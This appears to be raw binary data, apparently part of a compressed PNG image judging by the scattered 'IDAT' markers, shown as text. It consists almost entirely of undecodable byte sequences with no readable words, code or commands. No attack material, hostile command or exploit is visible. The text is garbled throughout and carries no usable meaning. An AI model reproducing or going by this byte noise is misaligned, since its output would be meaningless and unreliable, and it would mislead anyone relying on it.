�ih+�=��q�v�����7����ʢ�_��{�R�|����(�)�uʞ�vR������������;>��ye�/�*U�vH��wE
NiHsY�U����A�Dž�4������aS���e����l틾R����4n/(@
P��(@��"཯"۹i��|O9�bkG��m�R'�;
'��E��zR��I@q��B��gQ=�Gy�9(7���(�g6mY{�;��oVJ5��*�a(@
P��@�5!(@
P���/! -2&0v姿�?�u���˳d�X���
F%���p��6��ad"
$�"Qf�	n�(�@�J����Z�t���������gX�W)�/�
�P��(@
P�X�!7��y{���?�R[.��^�H�L	y��R�
�gn��n~��L���5�q1�r#g
�1"�u
����|����]�����(@
P��K�w���$��(�A��l}�'n��w��mO�c+mQ=�
3���LN�p^Br�F.�e
���n*��@��NV�����3������li��0
P��(@
P��@�{���;����}W��.-%Z!�n�Z�B抉�\(@���@��:t�Lq6��B,�`aU�G�`�g��lzՇ��agJq�)@
P��
�fC��I
P�X�5_[���o��-�}KZ9�>SR�"6�E@^�����"��-�C��G��+`403�D��4/�q�y���
K.�����
=5�P��(@
P���<����
<��7�qӯ�p�legt�J��l/���*R�8��g	��K�H�L�����$g=TR��}���o.��w�f�
�,y�w��(��u���S�����������oܷ�+/�����΢;�0�'tب�d4�
���
ȓ}f�(0��<��*Sزi�%׽�io�x7�<���,�P��(@
P���|��'�?t~�/�~f�-����e]�LON!�u����4��2�b����T��`��ˀ�TF�<F��=˟�����(�h�Ӵ���(@
̎q���G�(@
,X�}4�m/��/�廚����L�!�����6-b��+��p�B��Jm|i�zt��{�p�(�S�7P.B��O�F�o���[��oRJM��(@
P��槀���~���{S9�u�R�o�v)4d\�(�YE
N�^epJ�V������@k�r�c`���!���J-y������(@
̖q�%�ǥ(@
,@��
c=�ݖw|�s��Ғ��5L"���(ǀO-�����9����K�8	��C�v�-�C��D��)�|�c߅|�����_6
\��U�b�(@
P��(@
P`�
�E�Wa�7���߶���T�<��ީ\(@�(:N�aⴗ�b����bH���jb�S��}~���
��nQ�5��aj�\
P����q�ד�F
P�X��{����o����W^jꫦ�$�J����9���NZ�j8�C�8�R�
�V�|e nA,�8
<��v%g���)Cg���{��X}�R���B
P��(@
P��Y�K����Sg���j{o���?8`|��P
P����ih���3P�C@���STUu[�#=O�i�eo�TλN)U��P��(@��
�+����_�(@
t��n�1z������C��g��T��ꀉaL�6!�FER^�T1Pp�ǭ@+�uڱ��]8��"��evo��l�h�w�׾��-�.-2�Oi��]uS|�M/y���)���pd�%�(@
P��:[�{��Њ���Ç�G�����0No�������+;:v%oau�ŭ���%��l��Ja�HC:�M����=M����,��m�=�ê�ol>o;ם�(@��!�������(@�y!�/����
�����ε�^��!�C&lO�}?d)ڥ�?~�Bܼ��\I
#
a8
oVɰe��[�àfŨ7�@l`���Ew�*ͭ���y�Yo��s�]�.,>�<�(@
P��(@
,,�wU0��+6���Z����H�,�u�l��H�]h���a���)ƍ
�9&T�J�+.�����C��0i�	�.���
q��׶F�j(SƔ7{�7>��8����ϯ-��R��(0x%1�
׉�(0�]*0�{���w����dlG%���*Q`�Ƅ��K(d*�C�8�b� ��I����Qk���@s2C���N��+.y�*�ۮ�j���)@
P��(@
P�$�G[WN<x��]��%=��SJ)T\�X�)�B���Z�7�
')���+&T>�z�I�>%(����!��!R���
 ##���\9�b$��$�i�f���{��ݿ���I�OΞ�E
P���Q�x4P��(�	�ڥ.��>����;����/�!
P`�MR�B��U�1��e@�By�-tl�A��@W���޼y(��ŗ��#.y���.6�a�
�(@
P��(��}����<����y������F)X;H(	��I����PR1N4t���@\{��@��8	�Z4��tY�lITF#��1��/���l��R*��ϕ�(@
P`��zb��
�(@
P`nx�K��y�o��O�E;OK�)��B
t��4�)Z�H�T��/-m<t��!�.R���Pi�XtpP���7^�[��V+��02n.(@
P��(@���~�R��{~��7�}�P�2C*�y;i�>|��������
�$@S4^�B
�/��U+U���-�S%'qW������a�D�0�4��_���O�`���r�k˹��(@
�%�����P��氀��w7��ǿ��WƗeQ]����Q��"о|Э�6JeP2��2�	
4����=\��W��6u]v�R�6+���(@
P��(@�9#P�N�q��m_x���$��zn��c2h�a}�FŶU�\�pZ!�TU�&%ӱ�P��Q@�ڑ�bI�����ejf,�����3�b�	5�ל�¯����>�*q�q�s�)@
P�sG�����/�&�(@�9-P��|���g�M��&��9�Ǹr�
�"�&7&d��6��F�%m.�2�B�T�(�j���0|��/�����c����/|L
P��(@
P�sO���]����C�|�o���/L�L�T�H��P1J�H�����U
�1a��g�g����g�F�yG�;cHm5�߼���o
)��R��u��/��:��UW���ڭJ���=�;(@
P��i���c��(@��+�W38|֗���u�W�MZ��X�s�Xha8S3z��5�M���ٗ�6V��E��>���'{n~�~�kp�W�_h&�
P��(@
P�xbN� IDATO���}׿drۭ��E�Ic�
�3H\qM)���q^)4#	�9/��x|Q`�	cFa�b�J�"K����e��&�`\Z��������)�~��/�])53���kL
P���\` n��	�(@
P`x�q����O�ݫr����(�Qrc�]N0��k��pJ�B�ĕ����r�=��|�_��|���(�$mG0�X
P��(@
P����VF�o��C�Wܼ����1�,��d��P^!�I��L�,�z�e�P��M�C)��dh��$'!W�li�c���P.BIk(�@��n*^�c��X~�g��?<߶��K
P�����칳/�&�(@�9+0�}�4������Ծ.D�vaV
P��dn��a�"�Hk�P%.���0��_�l�!���́{��?���ə��U���d�m�(@
P��(@�B�����U{o��?�Q�N3�KV&r�&Uqy�[?��F+$��s��@��ׯ�&���n@�w�rU��ǟg���^I�M��TA�(RE�
�k���m^���}��"�
�񢠈:���!		!!�6e��Y{�X���f���s�I2��Zߵ��Y�_�2�Ē&�X��%2F��"�$pڹ����}~���/��X�h=��
� P?������%
�ԭ�Z�v�gW�}�����ܚ�I�Η��@����*�5Y�8�X|��T�,��Kr�[����'������g��T�
�E@@^p�"�;{�t�7��:��v�Ib��1��cV����q��Z`F��v�
�`�mQ}
���}�8�-���E���"�Xd.#[�jj��-�;���N�j���P�@x��^��@@��zܒ�~���j�'�›�OR�cD��t��|���#HC�5�D�لf*�lk���5l����/w��g�Z<�o�:��x
� �
�M,���շ���Ske�y)�l�����@��D���"���w�b%̂4
�X���Z .�axMr���ؕ$���-U�T
�ʅR��t�N�~�ǎ��=��R�X��� �
P/|�]/#A;@�S�\�V��Y���`_)T�"]am^��B`|�
qلf���w��Mh�@�ʆR��ZX�u�^7���y��"3�Sn�S#�
�
�
"��sӪ��y޺�n9�3W�)vi�n2g�l��jjU�s6�*F��q|��
�K3xY����6�>�BNk��4�����DFbg�&��0������00�sΒqo�Cu�Zh@@����ƨ�@�H�����ܩ?��w���ؿm�$t.���@���8�5��8S��L%'ƩM��5�S'���4f�_�N�:\��&�@@��\^=bŬ��.ڥ�h
$����l�T�R_N%U��c,n%M���`
.ĥ~�H�qV$�%5V*ֈ�"�sM*�u�?�\��]�[���S^h���^@��I��8�
@�V`�
l�̚�݃�~��`'V}�'�qiݶ��!��p	��j�����d�8+�X�!�:16�\�[51������:d���@@@@ĕ�oc���{W>�m���CW�"o���f߇�ߩbM��9@��l��[���0
�?=�w�U�������h
y���8眫�'�x�~׌��o�l�*{�4�@k@�q�1�@�����{����=��3{à��ȕ%pqݶ��!��p	�.�S�j�t?um�@���`ذ�����r��L>�"������
� � �@�	8��(=/���}
��;s�UM��}�qI�Q�X���`T��I�hf�"ָ,��q~ye�"n0�˒�P�����$�_�I,Υ�'��h�?nyșJ~��T����|C�w@6R�@�F��4@�A�9�%Y��+�����#{\N4$��q�p�G�J
q~%���q.�e[ؘ��B��4��s��̷&�Nw‡ �
� ��_�҂-㹷�P���Oܪ)q`}]*Ɨ�s�` .�
�
�`Y Nq��%��p�
qƆb��"���I��1Ή�D�A�[!S�os�y����U�4�E@�:
W�@@�W�\�[�<�����y���L8F��D��**�X��F�>?e���"Ҳ�r��Wb����X�R�=���w}��ct���Ό
� � Шι�$���}�\����
Hr��ũ_w%�Il*jj�8h,��(���*q�m�}��?�6{�����z�;I��Jڵt��Hfq��%�%@k@@�x'Q�@@�S�z��O9��w���Bϛ4m���5_�N[M�@`��_.����T��H�U�-/B�O���x�!��b�ֽnЬ�
� �
�+�\�Ty��_����v��H��M��N'��H��b������fH%r�i]׾�a��.��Xu�c�f@@@`�x'�醜@�Q+Pv˷~h�]�p�SW�'.l�V�y�R&7jG��!��N��=�	��V�
�$vR����s�����㏊2폪~m/ � �
�+�܂�,�i�~qq�;g�����;�\�MRq��8@��R
]�-qܹ�c��$�t;�L�v�_@6]�@ܦr@F�@���뷏\����j���B-�|
.���c �|
N�NĤNl��Y�$�(7���w�[��󺢎}C@@@^I�9���Kcˏ��u��zFG�n��U�N"5bS��?hF���Zpk̴;���ߓ`ƯT��J��f��
�l���M�� ��f?19
������zu4�~YD�M����#7�ǟ�!���VEB����IUL��@Z\�<��ӏ��7gȸ�T�(!�
� �
���	8�r����V��E���EJ�@�hjD������,h*�FR���v�[�O�Ja��T'�5�E@�M
�Ʉ�@��)�V�ӧ\v�E�v�گϮ�B�&�_����$4���%.�0%HQ��j�iGyJ˞��g��/��k&��
� �
�q�9#�����K?_Y�ЉƮ��3��4��8q˳hp�*�Y'������ɻ\�:ai�w��#�
���ap.�
�@#Զ���g�o��/��,�ѷKI�E5��|
���0����)��I�V��$�H���ڹ������'�vm_�9�ɹ@@@F��_�)/�r��G���Qi�A-Q5L�,fsO���|z��+��	l
���/m��_��x�e���` � ��� �z�x,
�M"���o�#K~������q�o��T$N\V*���k�ہn"��I(⬈���4��Jٔ�<q��_�ǩ��C�Z�@@@�
�eV��}���a��J*b����Aq
�@S	Xu�'��s�v�{�䷾�������,
�l��%6�� �
0���܊���'�/���'Ir��I��H?I
n�9=B`C�@�q�?�06Wv�#׶v|a���g��|�S&.P��@@@@`���
K�����ϙmvٞZ�kl�~�w��ȣE�
b�cm�l{��#?�?���תjGQ7�
 ����a��
�4��s.�V^���.�dEu�[$�RM$�"Ƙ�@\#��6#����L��#��
A5���e�{�ٝ�{k�v�ٔ��\@@@��ȶM]7��?|����'T���PD��5Y
�dN�X�Jl���mu�CϼT:����V����"�
��&��<��
��hp��ɳ�\y�׾�k���I�Ĺ�@��0!9Z��~!��*b#�JUrAA¸�ʝO�sܧ�=YvIUc�@@@x��ܽ�<����}^�VM��D\b�d�p
�@3	�q��]��O�ԫd��W���eg�f��+
��&�;�M���
��J��_H���۾��Rؽm֖�Z'��঩�F���)^K
�")
�$
�K:VO��x�	��	2��I�����@@@���s�UV�u��{����-98�DR'J
���p��hURm�j:�]���L?��R���mS��v��
�l������
��^�z�=�����k>�o����OA`�i
I��Q%7zoz��+
ԪC:+��+]���+�v�e�
n@@@��p����c�~~��}��*�b�O+��h`��*�$N'��y�Ͳ�_��Թ�x\i:
�#,@ n��� ��.�Ӓ�4�ι���_��>Y1�H�
EL(Ib%0Fԗ��@�&0b'�(�&���G��m�����r
� � �
�q�uO���Ξg~���d�U	�k�,y
-�6��\^�d\���]��}�D[<�SC�,�G@`Dx/1��\@���+r+�x����/��n]�BM��P&�2U��P�B6������$�����=�L�-c�����	@@@��p����>=w����9;���L94��Z�;�8����w�=��_
�����@@`�mA@���sA�,�黿��==��;���*q55��K}!(&$�龠��TT�h�RZ��h��W'���Y���	�q�
� �
�l��ߵ@d�6=�}�sv�#�.q�qI�9��'������zG���D]�p�����!ئ��E�p�&gI��m��#?�i��fU��Q��
� �X�h��
���s.�\��Y߾um��-	Kj(�:	�P����}0�u&��I�bi;��n}�]o=�Go�p���[gM�9
� � �
(�܂.Y��a�f�����-Z1�VRqK
FC)h(�rU� �"�/ܒDB����
�\�S7�k@��@�X�J��Zq�2��	}�e�6��4���&�9�>
�(@ n�x
��"�ܚ�y�����K��hIò���*�I}u8��p�垠�	8���XZmg�[5���Kg��5�Up�
� �
�l�\$ko���~9�w�.�n]޺�8�����"r����qVUR��K$�,�h^��:���1.���Pq����5q}:~��=ξR�8�;"��TՎl{�
�4���F5ڌ ��0
870�U���~��RaU>
*J(~׉P���FN�@=�@�5��Jgߌ�?�_��&3�den=�mC@@G��m�ӭ�����n��&:W��Ҡ(6U	�T�a$ij�e�8��I$z�B��q�3����}|��TL�׎Yޱ��7�v;��D&t��H,
�
���C@@�/ʮg���_w��y��c��&�1��:��G��֯���Xa˭�@�	�׾U+��}����מv�G~��i�4��E@@>�������G}~�[�S��cR-f�Z�B���ٖ��ID4��&Y�R��LQ毆o�83�&�b��8�%�Dz��^{��>��)KT��b�@@^E�@�
���@խ}�>r�?=�=�����@��)���Sp
�@s	��|6_�֙�^u�v�_]���K��"� �
���s.��[2��/�ۗh	��4�H"E	�H\�_�
'�ĊJ�q�U*�Y�8u�s�87�'P�%6�*�ێJ)������}��~AU��6gF@��"@
n��$�@@`38�L�,;��;��啹{ą������'��Lt�MFX緢
��9
&��>��1�O>��Բ�/U��4X'h.
� �
�@ԶM]�}��?�J��Qm�v��%�E���&}�E�ik|K’�$���F��U�,�Wu<�4
�WP�_���HI:�^��釟}���2GU��!�
��%@
�{@�H�9��£��~�'X�e�+gb1�H`I�5>G
��n���zF�R�����G��&�n�U�*D �
�
�lN�֎�O]w�������.�5Ҋ$���%Iz�����
�F��0{Ϛ���9q�s@8#(�_��9	�@|u�X;l���)��,����F�9\
@T�@\��F@`8�s��2����ߨVMM��M�
��r�/�S3X���1��zP8cs�O�������VU�	Y@@@6��s./+�<aş~��by�amAU�qN�\$IڛU�3i{{K�>MŤ�,g�O�j�VT��lC‰1��um��ĕ�$�͖�+��s�'e�T;W�Xc�
�4����:�
���pnM����w��o_Tί�`�X��Ί:�TM6�X�L$��G�3"P��E�V��7���?qy�N���[L�@@@Q�9g���ao��cҹ�,��"cZ��Z�{$�ˋT���"I8�ˋ�0�fq�B�W�8��������W��ټt�
n@'����_���Bu�f7�� � ���^ۈG �
�4n�yk9�?]��J~m�U�*VB�f��V��5�MAGXO�؜��ջN��w���u��!�
� �
0�:w����C��NmIWw9I�]�&MZ��&a�8�bl^�Y
��A8t��pN�S�]��lQ���Xɻ��Y׵��ߓ����ԅ�y}΍
��C�@��Gz�
��f���;����g�;�������$tiV��|D·�j�8h&c�6�t,:����}&u}��[�L���
� �
�#'�ܒ�����X�ĵgu��m�J"Q.�Tc��IhY�-	K��gr�@����Bq�`�j�F�+!�y|
ΊH`�h��Ӝ$AG�������%�i�m�+q@��F���7@^���[~���^s�S��>��[gą���$;S�a�B���)���-�a��~����f�1kGG��
� �
�@�	8��.k�{��ۿ{��p�q�$a.kD��Jd#�$�f�7�"Qg�p.����Q�=���_⌉$
Z��-�>5�O~Pu�C�}�
��.@ �����
��z�n�1���?[?zL5�U�[Q8�����b�!�chb�
-�a����&�w�j��9�: � � ��0
8�B�<s�қ��G&��w���OQ	��m&&�Qf�8��#7�CéV�z����&�*�-�S%��-O:�N�p�٪��q
� ��(@
��@2�Y'/�xŭ���𹃫Qo��D`5ĉ�T��݂@SiK��f�����e��U5mj:�
� � 0l�9�����s�}sޯv
rj5�PTU"��|�ME���8������2l�:lĉ&�LU�@T�$�ЄR���X1��y�v�OUk[�p
� �� @
�[@2�\�R�r�M���>1i��@�_���o�*�-S�khJ�
mI�Չw����X��~�l�@@@�E���;ˣמV��G����nU��q�"*��jq�J���ۦ�������P
�W{��H�*�4N{��j� IDAT[��9CZw�KU+#���
��+@ �qǎ�#�
�Y�s�%��i?����oyq�$��*�k$�7��ؘl]m�1�#�Y��!P�.Lړ�n�ߝsħ�ҩ3��&�B@@@�Fp�{�,���k��?���a`MU
b����E]*V#q�l��l�����COۛX�/̶��lEB_���\�T�J۶k���عҵ�m����Dt@6@�@�
�@�A�9�1_f�~��.�h��&H`Q��paV�ީ�:�O.�l���J��c*۴p�;������'���t@@@`���n��s�\z�O�8&��S!(���"-�"�:�K7�+��@d0��C}��-SG|̸
�.�f�>�*�o�l�橉-�)=]���I���M�+7�:�@F����<��
@��!��z'.J8��۾��8�z;gJ��k^��D�f��>W�h"�4_���-O�����mY�D}��
� �
�o��s.���~��+�:�>�w��i^LH�����Yhƚ�V%�o��jQ�Ł�&�_�V���YH�rb+:���M�@��K-�}��zE{@@`d�${d��
�u+0��x�g�97���h�̿���&	���8�0�Q
�WƯ>n�s?��)ܢ��=���� � �
��sN%~a�7��G��FRM��3%}k[�I�W�8_!�@��)�Ĩ�q��/��2�2f��!�t��>Ә}��
� 0R�FJ�� �
P�e׳��Kn��=��J�r����G#��֫G
�·��!0\>�}�[>��7����1k��B�@@@�!��⮟�C����쪂�ڴW$gj7���>�4��bV!�ot�U��@���8�TDR
�:'ƥ���������hn�Í�/Z�
�#)�{����Z
�Ա@խ��7�]��'�sJ9\�!�"��uȶL�wH�W��'�1�����!0q�2a����Y[����}�qΉ
� � ����-�n���ľ97\�bWu$�V)gs�
V����,�pٟ��Oh,�Zu�ږ����J(�������s������{�O�@FZ�O�GZ��!�
P�%��m?���Y�ػ�'�@�_S�+ą���d0gD\�v�f!��p	ąʄe����*�<�����E@@@`H��]�r�Ak��mn���0E��d�.'��@�ЄU�N��q
�@�	✈
r��TBM���ܲ��'|�����Y���mdi/
�#)@ n$��
�u,�ﺏ����~t��T��7������N�U�i��:\$MC`��By’��)�㓪Z��@@@�apnQQz��K~�)�SҴ��p��,�Y�8�ij��8�2�80��a����$IS�L"U3Fz�]�v�.�`�T՗��@@���8n@眖dʼn��/~�'\��8P�I��Ӈ���@��l$�-�@�
ą�ė>t��=Q�ZU�&u�� � �
�#(����NK���;e�t#՜H,fp{T'A�Q��F�@��"7��ĥجN�a�Z��$�q]�Z��ӌ�>��FUM6�e9
��*q�j8�
�'�q}������-;4�*"�n�*��,W�X����8@`T���/�Xk�����ɋ?z�W�=F�~�@ܨ~:�
�
�ԍ�s�H��mW���m���M���؊��7�&k�q�bQ~ڊ@\�
A`�|�5ĉ���R�v�/�蔃�Oi��zU�n��y
�4��f7�0�I@^]�9�ȋ��.8�����$�E�J��V�&����d����{
��.��p�	�e_~�����z�WO'3�hm/@@@�U�/�Y0���K~���GN��4-��;d���W�˶P%7���	�@DR�H3���@��K_~���|�J��שjy$��5@@�1�4�1ǍV#�
�Y���d�/��K�
�W�5�,�L�?,�Y
Ή���L�Z������1�x�܏���:d��Z[zρ
� �
��08�”�w_u��~�my]3Ƥ%Q
��S�@����q��B�0�G`��@�uₜ8I$����Ezs�<;�_$]�BU���!\@V�@\�
G@`�	8�
��ӯ������ZΥ�s�[��m�Z�>�X����Lԛ���ch�T�}��xʜ��?N�-���Q�=
� �
���pn��C�^X]<��tOlI�E�4��N���~M�V%��j)�:G�MA�F�����f%Y��DW���'���)����d�ۮU՞Q�@�@@`��mOF@`t8��mq��s����*W�Y5��¿�91.�rpY.�:q�c��G�q���9�<�+'�	�q�
� � ����s��3��[���+���+�s�rT
�]
��~q��U���@���B`s
���Z .q�B܀TLQօ3�O��'��j���yM΅
��K�@��Oz�
��F	8��c^����o�QiY�{��N��@\:X!��T\���%��͓�s����
5��|���d�s�<�+'���A�y
� �
��(�sW���'�~�o��[����qV�9	�
q"I��!�Z(�O`�@�sU��,US�5����o��C�Qm[�x=��
� 0R�)i��
�@8�3�u}����sZ��f窩m��q&�25�Z�.�9qu<�4
��X?7�P
��:���Փ�2u�}y& � �
���pnY�,�}��?^��Vyi��V�ڂX	%5i�Uj���,7���X��4��P
ΚPDb��T���S�r�we��W��,n���b@)���4�A@��z]�������g��j˺�S�Y?�h��E�K�
q�>��xHi-�J�8cL�=�B n�ey" � �
���
8��(+�z��{��NY�SޔM�|
.�$�ټ�d[��f��m�7�C��s
.�1W��*���:�t�|_��cծ�ot;�>
�ԯ���Z�
���8�t@VNydٝ��빟�ԯ��r.ʂo��"�f��0Y�@܈A�
���|(�Yke�~�Զ���>|�W���
�E@@�U���Q{f��+.���S1q��D�ԕ�0��9��YV��p�z����
�:1A ��l~*
)�N\�kE�v�].;��*��ώ���@q���Y@h�+��-�]t�g���Kf��P�ΈJ"�V����2qԇk���l���ۥ�3�@\Ku��8��'u���'
� �
���s.'kf��+�����uA)�g��|g��Dsb�6��N��=9@�T�t�1F�.��:���ĩJ�o�.nw�e��^�:��F�mF@�����8s@�V��z�{�{���/�_��qհgb�yqu;b4���a��ï��1�R�LZ����ı2�9UM��%\@@@���s��Kf]q��`���4�_�Ɂ
(�Y�տ��f��\X�$Uqa~M��}���κRu��
�9��
�#$�����2
�ԫ��Ud�v7Ϲ�_]��wT��	b#q�:`��X?�L<�-�I�?x�'L��Q�x��%@@@�Hz���^3��ߓ@7�\
�Y�W���$�Eb	J��ݮo��.�h��\��!�
��&��<��
��h����7O��s�����8�+6�7�8?aW־�
����P(n�@\�<���'��O���A@@)�\(処.��>�.�+t�B�L)}�������_��_E��
q�5U׵Ӎ]�|�R�f�2�-� � �(�e�h'
��$�3��b���O����i��C_ĥ"jŪ�V��q�}_[�ǁM$P͗�-��Q_x���	U�4Q��*
� �
��(�d�I�n������{G���8�L}G�K#��FURk�.����PR
c۹�
�~�Rխ	�m:5g@@`�
��CK�@�0��e{^���/|����\�\T����E�ρ86�L����#�a�<
�Q#�㖜y�gO����FM�� � �
�@]��@\6o�G`u=�4�W�$ME�Z0θ@T#qa>��nsc�A��T��~"
� �J���@@��|
�$��齗\���5m�B��2��U��Y�8����k�[��b���I�u��q�ܵ�̷}��-íP��?�	�
� � �@	��@��h�h
!�\��&���m�
q�D�Ժ�M���%n�ۍ83OA@�&
�$M7@x%��@܏��e���%]]P)�U��q��Rk�8��#��@
$�jW�{�;�S���K��4�]F@@xĽ�\�7P��F[��+�~^ڈ���\_�ŬIG��5��o`�4
�Թ��: ��
��p⮼�[v���5uyQ�ɖ���1�4�@��v�~�[N��v���v���A�M3@@@\�ρ�ˮ���;����ũJ>��8�Dsb�Q�Lm����.�~
.۽�i�s&��h�` n��݉�#�
��+���@@��j���^q�7| �R�6�~ �E
�Hm�	˖�M~���H��u��pܗ��q�/[tڢ�T�� �
�
�#.���ؤe�\��1�ܽs��8�L�1�lN�lV!���
�͘5���[�R!ns�s.@F���Q6�t@��+�W�����=�T
{r�j[��B
��xF����m�L�����?(��FmO� � �
�@]	d����[,��ҟ�����8*����^��`E8�bՊ��*qIo�@�����
�4����wz�
���>�'���o^�m�:���j�8�e���jO�B�M(�rqk25�������5�]F@@x�s9�{`�e���ʮ��=�/x�-S����D`s	�\-�"�W���m�ڗ�1k��L�����y@��F��-@6T`(��Y>�āI�/��*ĩs�֨��:���0R��@܆��8F�@.)&c�>�|�����7��
� � P�Y
n�;,���+�*sw/���ɉS�|�q"��Ċ��JD	���`�2^S�6m�*Ľ��[���͘5�q���@hrqM~�}@�:��#gs��@\����q>ǁ�$�K
i���=���k��Uմ��O_@@@��\^V޷��?�����\̫��2��(���fx�@ܖ���Y*�mkN�
��� 7zǖ�!� �AC���g}ゕ���:��e�m%�G
n�Py�T ���@�����/��7ߡ��Q�U�� �
�
PGι���g��{vqkiΛ�aɔ5��Y�6�*�Y	ksX~g�"Nw:���������~��np�T�{�y�f��E�
�@��k�;��#�4�@-���g}�@\��
�����|R|�䷝���cnQ��@@@n疵���[�ǟ�W[�pǜ�4��X	D4uN�3Y3|�ƩdƇ`�=2����6�
���S���d���/�լ�G�*�
=gE@`��^`�%A@`�^�B��˖��˳eF|$���O�h��ئ�l�u��
� �
�ԡ�s���w�z�W����䵢���p�I}-)��o���ot�"F������$x
'֥b�PR��T�
�U�sm��-S	�q!�
�����A@���q?�����&��H\��=��e�l�	��-S�Ql�[��7����]�{�����!3�EA�7!]F@@a�Vw�ܛ�\����U�͌�,���I
��I8���U��o���׋#7����,��D�������f�8�ĶH_n�Y���6�5'A@`�
��cK�@�
�땥�_y�7.��'����X���ϦqC[O�iE?�ȁ�%`\�r.߷�.?�͟��U[i.z�
� �
�F8�d|��?�?��3��|J���\n0�F����V��N��ވ��l����x�H��m�����m���6��͜5��|_í����t@��F���5@6D�9gJ�|�+��W�㇔�u�Z
��@���pJ
nCly�M�8�41��܎�8���_�&��V���6��@@�7�O��%�~gA��[q�8
�foK���\V!����[Ohl�@�U�X#j��W��v��os�ģ?u��[��G!�
�@3
�k�Q�� ��'0���{.�p�}�r�6/67X!.��
q�}h^��D\�l��s���{d��U5m^z� � �
0�-�����.��={`NVujZ�0���������"V	čĘp
�S��[}��Ī8_!.�%M�~&��R�wc���k8���l�F@��
���G�@�d��qw_�+�گ��ꆶL�9���L��(�I�L�dzN�@�	���H!�p�iG|�����nT�R�u�#�
�
�4��sNEn�����Z}a�Hz[ĖŨ�l��,'b�ͶI%�0CKCxE��U�L��>Z1Z�m�j����~�u�G.�h��!D@^I�@�
�M.0�����~q�{��Y�7Z̶LU!���G�T�3�;<���l��=��ЎU0!�
� � 0\ι@�s�[r��K�
d
/�"&[��q&�������2u�F��"02�zl3�Kk�8���ոm�;9�R���22��*
� Ј�q�h3
��Q��zd�^�����[w�a�X*��KV	��@\m�d3��2�T�ی���hk����{�8��y���t��
�|�
� �
�pι�<������n��@�H%���UV�,�SuY�@\�
3
F�/�����K%�b�6ɦ
�dl5n��Ʊo��&��A@�W �́
�@��m'�e�.�y��?���#�\_��9��
qj�f8���n��W�3h.��B��ۦc�_�{�3�ߥ�<�\�@@@`$�[�*}��{?�Е�Ӵ��uq�'�8�U�R��9��_��4��J
~Kd�q&tbmI�%�Jҵ�����F�h���b@)���4�A@�N|
�*�v���ۣ�o=���S��󖩃���J��':�#W�CJ�6�ڶ3N�Z��u3n8���8�NU��KÁ
� �
��fpn�X�~�m���;�r\lmF*j�Y��J.�e;V�#����!0���J|��DS��ueS禬-L�'��g\��.i��p1@K�@\c��E@`��@\EVnw����7��b�M�0�KD�&Gm��>����lű�
IDAT$���u֑�t��{��V�4@@@���[2�>3����n����ݚ�8I%��@\!���Y�lA'4����*bTRcE+V�"�*�MYٺ�W����>ٸ}��
� 0��+naΏ
�@��@\�to{ϼ_�˟��j�n�����|7�
q.�q�
S�|\i�!�J{�D�ȵ$c<v�S��R��;��
�
P_���`����Q�H4�U.�s�B�]Dl�T�)�kTu��zCk@E��E�.��O��b�*��6��əJ����Eq��_�Y����C���2ƴ��|�U]����Њ3���,�%I�t������M'\��r
�
��+	���@@����Z�d�������_��j�v�؈@\��t��'��6U��t�]�x݉o����-G@S�Bn�����
��'�>��5�R)(��9s�1�t͟?���%�����w+
�����:붶��gU}�@6\�������/ML�<���	]�!դ*9S����%Ĺ�@\��.�q��6\�G"P�5l\
�9�Q-�*ֵH%��l�n'\*۾�Ǫ���Ŵ@�Q�@\=�
mB@`��‬����?y�3??����Q�#7�c��h�KM*�)���ֿ�����������s
� �@#��m��[ND
�J����?h�V�m+W�l����|�E3֭Y���Oo9������#�\p�wNoii���I�4��L�817s��r�|�������7�j_#��F@��p΅R~�������g�l���?ɋ	���?X!�U���@�8�q8_9�@\��#-A��@\
��I,���	Rq�M*��E�{���~�5�-/����X@h.q�5��@��+��Oz��ޏ��5���탠��0Ί��6{���"�-Sɾp;!�l����Tra^"[��ڎ{>���0F��_��,8@@�
p�jnCۗ�E�p_�1���r�J�����muww~moo�ܹs;׬Z5��Qk�\�y�6U�'q�19�\�1&��%���+��	�PT��$��r9q�I2e����j��c?��������
YI��
�Eh
�Pέh��/���k�4&~v�b0`�������}�@�����`e8?E
����"�*��$�c��I*�A"VZe
���}�-�Ⱏ��-@x%q� � 
���������*ŵo�M���
m�i�k`��H~U�8n�S��h(�8�|!g�r�c'��o��ݯ�͖�s
� ��0
��|���[�Tj+���mE>������T*-}==�E�^j]�xq��+�z�I�r5g��~���5k���m��[!�͵9���s�7�j��Ev�0�8���|��JU�(��_�ժtvv�ԩS�����������c�������"2��0�
���M��w�k��_�k��0�&���9��*�-�t�k�N�W����q�`��QxKХ&��r����Ċ1)ۜ�i&t�˸}�ڱ�	8�"
�l������i
��&�Vu,������3ʅջ�����@��v����Ģ���B�h��&�ѼT�X4�Ĕ���k����ϫnWٰs�(@�{�ۘ��:_�fhSTk�������ѳfM��u�/,\4�\)w��ߎ�b�z֮-^<i͚����򹼪���i�)΅j����\
�>��־z��Ħ/���oWU��M�$�
\{{{��a�r��i�1ˢ(����_��z�%D��
�z�[��<qé�sf}"���G&�8ɉ	�:��3�m�(VB��3*VL��A-ǁ�&�_�i�J$H���q%Io0mޤ����=�窺��F{@@`�č�5WB@�n�sm�+�s�_?�T\�g����@��F
ąY�8qu;�4�a�Eb"I�_BR��3[�t�I�}�x١�-І}�
�@���|k���_�dM����mL�|>�2o޼���������g�#?���ի�%q�v,Z����1AD�J�%��B�R�
�Їے4��4UR3�d���Z������[�R�bKK��rY�(ʾ��
�9��t�9�:\>��[�J�X̪������kiiI��k�1s?��;N9�k'M��
2�4@�\u�^k���h�Sg�tU�q�&6
sb��_j�i��_�i���lP��	
�Q���4u���*%�KO0}���μH��VU�6�<	@�B�@\S3�D@���s��铧��8�T\�%����@��4�'���⸝hb#֪a(��$��3��̹G~�c��˨��ķ]G��p>�6����L�Tʥiڶr��N_����!M�iw�}���ry�ߺ�G�AUs===f옱>�f*�r�q��i�\��n>Ȗı�
Ȃi�R[�$YP����ަi�X�w�Pc|C_�އ�^�B\�Y�7��P����3FZ[[��6�P\>�wk׮]r�������q멧���|>?��x�
���l��d���t�G�˒�5^'FRH�TT}%8�KD���Y�8#6[�Ɂ�*�7�8��	c���E3��t�Y_����YIb@@��	��@@��V�J�}��7}��ʷƑ�S'Q��N$5�b��Z��A�T��I�P�R\��˧-���y�?�k�����iF��
�<�o3Z����S`��
"9	׭[7vժU��ڮٳg������Cmo�
�(j��{:E��
�B�9W��8AX(���?_,�Wx���|��$Iԇ�|-�Y�>���}i.���@V
·և�2z�����e�8�}�TʂrY�=I�ݫ�B�?�Pe8_
nܸq����};���
"UU]r��G_����߽�{>)"KU��<w
